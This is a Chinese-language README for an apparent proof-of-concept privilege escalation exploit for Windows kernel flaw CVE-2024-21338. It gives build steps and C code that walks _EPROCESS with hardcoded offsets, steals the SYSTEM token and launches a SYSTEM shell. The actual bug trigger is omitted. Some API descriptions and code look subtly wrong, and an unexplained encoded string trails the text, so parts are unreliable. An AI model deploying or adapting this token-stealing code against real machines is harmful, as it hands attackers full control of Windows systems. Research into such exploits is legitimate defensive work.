Windows内核权限提升漏洞利用 (CVE-2024-21338)
本项目是一个针对 CVE-2024-21338 内核漏洞的概念验证(PoC)利用程序。该漏洞允许经过身份验证的攻击者在受影响的Windows系统上提升权限至SYSTEM级别。通过利用特定的内核模块缺陷,本项目演示了如何从用户模式操纵内核对象,实现权限的突破。
功能特性
- 内核权限提升:利用CVE-2024-21338漏洞,将当前进程权限提升至
SYSTEM。 - 内存操作:通过
NtReadVirtualMemory和NtWriteVirtualMemory直接读写内核内存。 - 进程劫持:通过定位
_EPROCESS结构中的Token字段,实现令牌替换。 - 精准偏移:内置针对Windows 10 22h2 (10.0.19045.3930) 版本的硬编码结构偏移量,确保利用的准确性。
- 模块信息枚举:通过
SystemModuleInformation和SystemHandleInformation获取内核模块及句柄信息,辅助漏洞利用过程。
安装指南
系统要求
- 操作系统:Windows 10 22h2 (10.0.19045.3930) 或其他受影响版本
- 开发环境:Visual Studio 2019 或更高版本(支持Windows SDK)
- 依赖库:Windows SDK、ntdll.lib
编译步骤
- 使用Git克隆本仓库到本地:
git clone https://github.com/your-repo/CVE-2024-21338-PoC.git - 在Visual Studio中打开项目解决方案文件(
.sln)。 - 确保项目配置为“Release”和“x64”平台(漏洞利用通常需要64位环境)。
- 选择“生成” -> “生成解决方案”进行编译。
运行前提
- 执行编译生成的程序需要具有管理员权限(以触发漏洞利用流程)。
- 建议在测试环境(如虚拟机)中运行,避免对生产系统造成影响。
使用说明
基本用法
编译成功后,以管理员身份运行命令提示符,导航到生成的可执行文件目录,直接执行:
CVE-2024-21338-PoC.exe
典型场景
- 获取SYSTEM权限:运行程序后,会尝试利用漏洞打开一个拥有
SYSTEM权限的命令提示符窗口。 - 内核调试:安全研究人员可以利用该项目中的内存读写函数,辅助进行内核调试和逆向分析。
API概览
项目核心实现了以下关键函数,用于内核操作:
| 函数 | 描述 |
|---|---|
NtReadVirtualMemory | 读取指定进程的虚拟内存(通过动态获取) |
NtWriteVirtualMemory | 向指定进程的虚拟内存写入数据(通过动态获取) |
GetKernelModuleBase | 获取内核模块基址,用于定位关键函数和结构 |
FindSystemProcess | 在_EPROCESS链中定位System进程 |
StealToken | 从System进程复制Token到目标进程,实现权限提升 |
核心代码
1. 动态获取NtReadVirtualMemory/NtWriteVirtualMemory函数指针
// 从ntdll.dll中动态获取Native API函数地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
pNtReadVirtualMemory = (pNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");
2. 定位System进程的EPROCESS结构
// 定义关键结构偏移量
#define OFFSET_PID 0x440 // _EPROCESS.UniqueProcessId
#define OFFSET_PROCESS_LINKS 0x448 // _EPROCESS.ActiveProcessLinks
#define OFFSET_TOKEN 0x4b8 // _EPROCESS.Token
// 遍历进程链表,找到PID为4的System进程
ULONG64 FindSystemProcess(ULONG64 currentProcess) {
ULONG64 process = currentProcess;
do {
ULONG pid = 0;
ReadKernelMemory(process + OFFSET_PID, &pid, sizeof(pid));
if (pid == 4) { // System进程PID固定为4
return process;
}
// 通过ActiveProcessLinks遍历下一个进程
ReadKernelMemory(process + OFFSET_PROCESS_LINKS, &process, sizeof(process));
process -= OFFSET_PROCESS_LINKS;
} while (process != currentProcess);
return 0;
}
3. 令牌窃取实现权限提升
// 从System进程窃取Token并替换目标进程的Token
BOOL StealToken(HANDLE hProcess, ULONG64 targetEProcess) {
ULONG64 systemEProcess = FindSystemProcess(targetEProcess);
if (!systemEProcess) return FALSE;
ULONG64 systemToken = 0;
ReadKernelMemory(systemEProcess + OFFSET_TOKEN, &systemToken, sizeof(systemToken));
// 清除Token的低位标志位(例如,表示是否已提升)
systemToken &= 0xFFFFFFFFFFFFFFF0;
// 将System的Token写入目标进程的Token字段
if (WriteKernelMemory(targetEProcess + OFFSET_TOKEN, &systemToken, sizeof(systemToken))) {
return TRUE;
}
return FALSE;
}
4. 主利用流程
int main() {
// 1. 初始化,获取必要函数指针
// 2. 利用CVE-2024-21338漏洞触发内核态代码执行
// 3. 在内核态执行令牌窃取逻辑
// 4. 派生一个SYSTEM权限的cmd进程
printf("[*] CVE-2024-21338 Exploit started.\n");
// 假设已经触发漏洞并获得内核态执行能力
// 在实际POC中,此处会包含漏洞触发代码(例如通过特定的IOCTL请求)
// 获取当前进程的EPROCESS地址(通过句柄信息等方式)
ULONG64 currentProcess = GetCurrentProcessEProcess();
// 执行令牌窃取
if (StealToken(GetCurrentProcess(), currentProcess)) {
printf("[+] Token stolen successfully! Launching SYSTEM shell...\n");
// 创建一个新的cmd进程,继承当前进程(已提升)的Token
system("cmd.exe");
} else {
printf("[-] Failed to steal token.\n");
}
return 0;
}
6HFtX5dABrKlqXeO5PUv/9sTV1ipW6LcyJ2ulPOJ65ylIPcD0+xgkRjA1Zb4YpAx